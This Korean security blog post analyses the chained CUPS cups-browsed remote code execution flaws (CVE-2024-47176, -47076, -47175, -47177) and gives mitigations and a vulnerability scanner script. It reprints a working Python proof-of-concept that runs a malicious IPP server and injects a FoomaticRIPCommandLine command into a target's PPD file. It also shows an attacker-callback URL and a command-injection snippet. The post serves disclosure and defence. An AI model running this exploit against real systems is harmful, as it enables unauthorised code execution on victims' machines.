1. CUPS(Common Unix Printing System) [1]
- 유닉스 계열 표준 인쇄 시스템
- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중
> IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미
- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌
> root로 실행
> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음
2.취약점 [2]
- CUPS의 cups-browsed 데몬에서 발생하는 취약점
> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음
- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]
> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발
서비스명 | 영향받는 버전 |
cups-browsed | 2.0.1 이하 |
libcupsfilters | 2.1b1 이하 |
libppd | 2.1b1 이하 |
cups-filters | 2.0.1 이하 |
2.1 주요내용
2.1.1 CVE-2024-47176
- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)
> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송
> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨
0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever
2.1.2 CVE-2024-47076
- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송
> libcupsfilters.cfGetPrinterAttributes()는 반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성
※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함
2.1.3 CVE-2024-47175
- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입
> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 데이터를 PPD 파일에 주입할 수 있음
*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시
2.1.4 CVE-2024-47177
- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용
> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음
※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음
※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공
2.2 PoC [9]
- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)
#!/usr/bin/env python3
import socket
import threading
import time
import sys
from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest
class MaliciousPrinter(behaviour.StatelessPrinter):
def __init__(self, command):
self.command = command
super(MaliciousPrinter, self).__init__()
def printer_list_attributes(self):
attr = {
# rfc2911 section 4.4
(
SectionEnum.printer,
b'printer-uri-supported',
TagEnum.uri
): [self.printer_uri],
(
SectionEnum.printer,
b'uri-authentication-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'uri-security-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-name',
TagEnum.name_without_language
): [b'Main Printer'],
(
SectionEnum.printer,
b'printer-info',
TagEnum.text_without_language
): [b'Main Printer Info'],
(
SectionEnum.printer,
b'printer-make-and-model',
TagEnum.text_without_language
): [b'HP 0.00'],
(
SectionEnum.printer,
b'printer-state',
TagEnum.enum
): [Enum(3).bytes()], # XXX 3 is idle
(
SectionEnum.printer,
b'printer-state-reasons',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'ipp-versions-supported',
TagEnum.keyword
): [b'1.1'],
(
SectionEnum.printer,
b'operations-supported',
TagEnum.enum
): [
Enum(x).bytes()
for x in (
OperationEnum.print_job, # (required by cups)
OperationEnum.validate_job, # (required by cups)
OperationEnum.cancel_job, # (required by cups)
OperationEnum.get_job_attributes, # (required by cups)
OperationEnum.get_printer_attributes,
)],
(
SectionEnum.printer,
b'multiple-document-jobs-supported',
TagEnum.boolean
): [Boolean(False).bytes()],
(
SectionEnum.printer,
b'charset-configured',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'charset-supported',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'natural-language-configured',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'generated-natural-language-supported',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'document-format-default',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'document-format-supported',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'printer-is-accepting-jobs',
TagEnum.boolean
): [Boolean(True).bytes()],
(
SectionEnum.printer,
b'queued-job-count',
TagEnum.integer
): [Integer(666).bytes()],
(
SectionEnum.printer,
b'pdl-override-supported',
TagEnum.keyword
): [b'not-attempted'],
(
SectionEnum.printer,
b'printer-up-time',
TagEnum.integer
): [Integer(self.printer_uptime()).bytes()],
(
SectionEnum.printer,
b'compression-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-privacy-policy-uri',
TagEnum.uri
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
self.command.encode() +
b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],
}
attr.update(super().minimal_attributes())
return attr
def ](self, req, _psfile):
print("target connected, sending payload ...")
attributes = self.printer_list_attributes()
return IppRequest(
self.version,
StatusCodeEnum.ok,
req.request_id,
attributes)
def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
print("sending udp packet to %s:%d ..." % (ip, port))
printer_type = 0x00
printer_state = 0x03
printer_uri = 'http://%s:%d/printers/NAME' % (
ipp_server_host, ipp_server_port)
printer_location = 'Office HQ'
printer_info = 'Printer'
message = bytes('%x %x %s "%s" "%s"' %
(printer_type,
printer_state,
printer_uri,
printer_location,
printer_info), 'UTF-8')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(message, (ip, port))
def wait_until_ctrl_c():
try:
while True:
time.sleep(300)
except KeyboardInterrupt:
return
def run_server(server):
print('malicious ipp server listening on ', server.server_address)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
wait_until_ctrl_c()
server.shutdown()
if __name__ == "__main__":
if len(sys.argv) != 3:
print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
quit()
SERVER_HOST = sys.argv[1]
SERVER_PORT = 12345
command = "echo 1 > /tmp/I_AM_VULNERABLE"
server = IPPServer((SERVER_HOST, SERVER_PORT),
IPPRequestHandler, MaliciousPrinter(command))
threading.Thread(
target=run_server,
args=(server, )
).start()
TARGET_HOST = sys.argv[2]
TARGET_PORT = 631
send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)
print("wating ...")
while True:
time.sleep(1.0)
3. 대응방안
- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]
① CUPS 실행 여부 및 패키지 버전 확인
⒜ $ sudo systemctl status cups-browsed
> 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음
> 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'
> CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령
② cups-browsed 서비스 비활성화 (사용하지 않을 경우)
> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed
> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정
③ 방화벽 설정 강화
> $ sudo ufw deny proto udp from any to any port 631
④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]
⒜ 동작 과정
> 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
> cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
> 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
> 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다.
⒝ 결과
> 스캔 결과는 총 2개의 Log에 기록
> cups.log_응답한 장치의 IP&CUOS 버전 정보 기록
> requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록
#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
# a simple function to enable easy changing of the timestamp format
def timestamp():
return time.strftime("%Y-%m-%d %H:%M:%S")
# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
# replace default access log behavior (logging to stderr) with logging to access.log
# log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
def log_message(self, _format, *_args):
log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
f'{self.headers["User-Agent"]}\n'
self.server.access_log.write(log_line)
self.server.access_log.flush()
# log raw requests from cups-browsed instances including POST data
def log_raw_request(self):
# rebuild the raw HTTP request and log it to requests.log for debugging purposes
raw_request = f'[{timestamp()}]\n'
raw_request += f'{self.requestline}\r\n'
raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())
content_length = int(self.headers.get('Content-Length', 0))
if content_length > 0:
raw_body = self.rfile.read(content_length)
self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
else:
self.server.request_log.write(raw_request.encode('utf-8'))
self.server.request_log.flush()
# response to all requests with a static response explaining that this server is performing a vulnerability scan
# this is not required, but helps anyone inspecting network traffic understand the purpose of this server
def send_static_response(self):
self.send_response(200, 'OK')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')
# handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
def do_GET(self):
self.send_static_response()
# handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
def do_POST(self):
# we'll just grab all requests starting with /printers/ to make sure we don't miss anything
# some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
if self.path.startswith('/printers/'):
ip, port = self.client_address
# log the cups-browsed request to cups.log and requests.logs and output to console
print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
self.server.cups_log.flush()
self.log_raw_request()
self.send_static_response()
# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
def __init__(self, server_address, handler_class, log_dir='logs'):
super().__init__(server_address, handler_class)
# create 'logs' directory if it doesn't already exist
log_dir = 'logs'
if not os.path.exists(log_dir):
os.makedirs(log_dir)
# create three separate log files for easy debugging and analysis
# access.log - any web requests
# cups.log - ip, port, useragent, and request URL for any request sent to CUPS endpoint
# requests.log - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
self.access_log = open(f'{log_dir}/access.log', 'a')
self.request_log = open(f'{log_dir}/requests.log', 'ab')
self.cups_log = open(f'{log_dir}/cups.log', 'a')
def shutdown(self):
# close all log files on shutdown before shutting down
self.access_log.close()
self.request_log.close()
self.cups_log.close()
super().shutdown()
# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
host, port = callback_server.split(':')
port = int(port)
if port < 1 or port > 65535:
raise RuntimeError(f'invalid callback server port: {port}')
server_address = (host, port)
_httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
print(f'[{timestamp()}] callback server running on port {host}:{port}...')
# start the HTTP server in a separate thread to avoid blocking the main thread
server_thread = threading.Thread(target=_httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
return _httpd
def scan_range(ip_range, callback_server, scan_unsafe=False):
# the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
# we can set the printer to any http server as long as the path starts with /printers/ or /classes/
# we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')
# expand the CIDR notation into a list of IP addresses
# make scanning only host addresses the default behavior (exclude the network and broadcast address)
# the user can override this with flag --scan-unsafe
if scan_unsafe:
ip_range = list(ipaddress.ip_network(ip_range))
else:
ip_range = list(ipaddress.ip_network(ip_range).hosts())
if len(ip_range) < 1:
raise RuntimeError("error: invalid ip range")
print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')
# send the CUPS command to each IP on port 631 to trigger a callback to our callback server
for ip in ip_range:
ip = str(ip)
udp_socket.sendto(udp_callback, (ip, 631))
# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
print(f'[{timestamp()}] shutting down server and exiting...')
_httpd.shutdown()
sys.exit(0)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog='python3 scanner.py',
description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
)
parser.add_argument('--callback', required=True, dest='callback_server',
help='the host:port to host the callback server on (must be reachable from target network) '
'example: --callback 192.168.0.1:1337')
parser.add_argument('--targets', required=True, dest='target_ranges',
help='a comma separated list of ranges '
'example: --targets 192.168.0.0/24,10.0.0.0/8')
parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
help='Typically the first and last address in a CIDR are reserved for the network address and '
'broadcast address respectively. By default we do not scan these as they should not be '
'assigned. However, you can override this behavior by setting --scan-unsafe')
args = parser.parse_args()
try:
# start the HTTP server to captures cups-browsed callbacks
print(f'[{timestamp()}] starting callback server on {args.callback_server}')
httpd = start_server(args.callback_server)
# register sigint handler to capture CTRL + C
signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))
# split the ranges up by comma and initiate a scan for each range
targets = args.target_ranges.split(',')
print(f'[{timestamp()}] starting scan')
for target in targets:
scan_range(target, args.callback_server, args.scan_unsafe)
print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')
# loop until user uses CTRL + C to stop server
while True:
time.sleep(1)
except RuntimeError as e:
print(e)
4. 참고
[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
[9] https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
[10] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71558&menuNo=205020
[11] https://github.com/MalwareTech/CVE-2024-47176-Scanner
[12] https://hackread.com/old-vulnerability-9-9-impacts-all-gnu-linux-systems/
[13] https://hackread.com/old-linux-vulnerability-exploited-ddos-attacks-cups/
[14] https://www.bleepingcomputer.com/news/software/new-scanner-finds-linux-unix-servers-exposed-to-cups-rce-attacks/
[15] https://www.bleepingcomputer.com/news/security/recently-patched-cups-flaw-can-be-used-to-amplify-ddos-attacks/
[16] https://www.boannews.com/media/view.asp?idx=133188
'취약점 > RCE' 카테고리의 다른 글
NachoVPN 취약점 (CVE-2024-29014, CVE-2024-5921) (0) | 2024.12.06 |
---|---|
Windows Scripting Engine RCE (CVE-2024-38178) (1) | 2024.10.27 |
GeoServer 원격 코드 실행 취약점 (CVE-2024-36401) (2) | 2024.09.16 |
SolarWinds Web Help Desk 원격 코드 실행 취약점 (CVE-2024-28986, CVE-2024-28987) (0) | 2024.08.19 |
MHTML 원격 코드 실행 취약점 (CVE-2024-38112) (0) | 2024.07.20 |